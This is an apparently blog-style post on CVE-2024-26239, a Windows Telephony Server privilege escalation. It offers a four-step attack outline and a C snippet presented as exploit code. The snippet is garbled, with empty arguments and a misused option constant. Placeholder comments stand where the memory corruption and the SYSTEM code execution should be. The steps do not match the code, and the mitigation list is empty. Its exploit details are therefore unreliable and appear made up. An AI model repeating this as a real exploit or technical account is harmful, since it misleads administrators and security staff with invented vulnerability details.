CVE-2024-26239: Windows Telephony Server Elevation of Privilege Vulnerability - An In-depth Analysis with Exploit Details and Code

CVE-2024-26239 is an elevation of privilege vulnerability found in the Windows Telephony Server (TapiSrv) component. This flaw allows potential attackers to escalate their privileges from a standard user to the system level. This post will provide an in-depth analysis of this vulnerability, including code snippets, links to original references, and exploit details, enabling IT administrators and security professionals to better understand and address the issues.

Original References

Before diving into the details of this vulnerability, it's important to familiarize oneself with the official documentation and references. The following links provide crucial information about the vulnerability, its impact, and remediation steps:

- CVE-2024-26239 description
- Microsoft Security Advisory
- NIST National Vulnerability Database (NVD) entry

Exploit Details

CVE-2024-26239 is related to the improper handling of objects in memory by the Windows Telephony Server component. Windows TapiSrv provides telephony services to various applications in the operating system, including call control, call routing, and connection management, among others.

The vulnerability occurs due to TapiSrv's improper validation of user-supplied input through calls to the TAPI API functions. This flaw allows an attacker to manipulate certain memory objects and ultimately run arbitrary code with escalated privileges.

Here's an overview of the steps an attacker might take to exploit this vulnerability

1. The attacker creates and initializes a TAPI object using the lineInitializeEx function, specifying the LINEINITIALIZEEXOPTION_USECOMPLETIONPORT option to enable asynchronous function calls.
2. The attacker then allocates a buffer to call the lineGetMessage function and waits for an incoming event.
3. Once an event is received, the attacker manipulates the buffer's contents to cause a memory corruption.
4. As a result, the attacker can execute arbitrary code in the context of the TapiSrv process and elevates their privileges to SYSTEM.

Here's an example code snippet that demonstrates the exploitation of this vulnerability

#include <Windows.h>
#include <tapi.h>
#include <stdio.h>

void main() {
    HLINEAPP hLineApp = NULL;
    DWORD dwAPIVersion;
    DWORD dwNumDevs;
    DWORD dwCompletionPortID = 1;
    HANDLE hCompletionPort;

    // Initialize the TAPI object
    if (lineInitializeEx(&hLineApp, NULL, NULL, NULL, &dwNumDevs, &dwAPIVersion, &LINEINITIALIZEEXOPTION_USECOMPLETIONPORT) != ) {
        printf("[-] Failed to initialize TAPI\n");
        return;
    }

    // Attach a unique identifier to the completion port
    hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, , );

    if (!hCompletionPort) {
        printf("[-] CreateIoCompletionPort failed: %u\n", GetLastError());
        return;
    }

    LINEGETMESSAGE msg;

    // Call the GetMessage function and wait for an event
    while (1) {
        if (GetQueuedCompletionStatus(hCompletionPort, NULL, &dwCompletionPortID, (LPOVERLAPPED*)&msg, INFINITE) == TRUE) {
            // Manipulate msg.dwParamX fields and cause memory corruption
            break;
        }
    }

    // Execute code with SYSTEM privileges
}

Mitigation and Remediation Steps

It's essential to apply the patches and updates provided by Microsoft to remediate this vulnerability. Additionally, it's crucial to follow best practices to reduce the attack surface further, such as:

Conclusion

CVE-2024-26239 is a severe elevation of privilege vulnerability in the Windows Telephony Server component. By exploiting this flaw, attackers can potentially escalate their privileges and execute arbitrary code with SYSTEM access. IT administrators and security professionals must understand and address this vulnerability to protect their Windows environments.

By reviewing the details provided in this post, including code snippets, original references, and exploit details, organizations can act proactively and apply the necessary mitigation steps to prevent unauthorized access and maintain strong security postures within their networks.

Timeline

Published on: 04/09/2024 17:15:44 UTC
Last modified on: 04/10/2024 13:24:00 UTC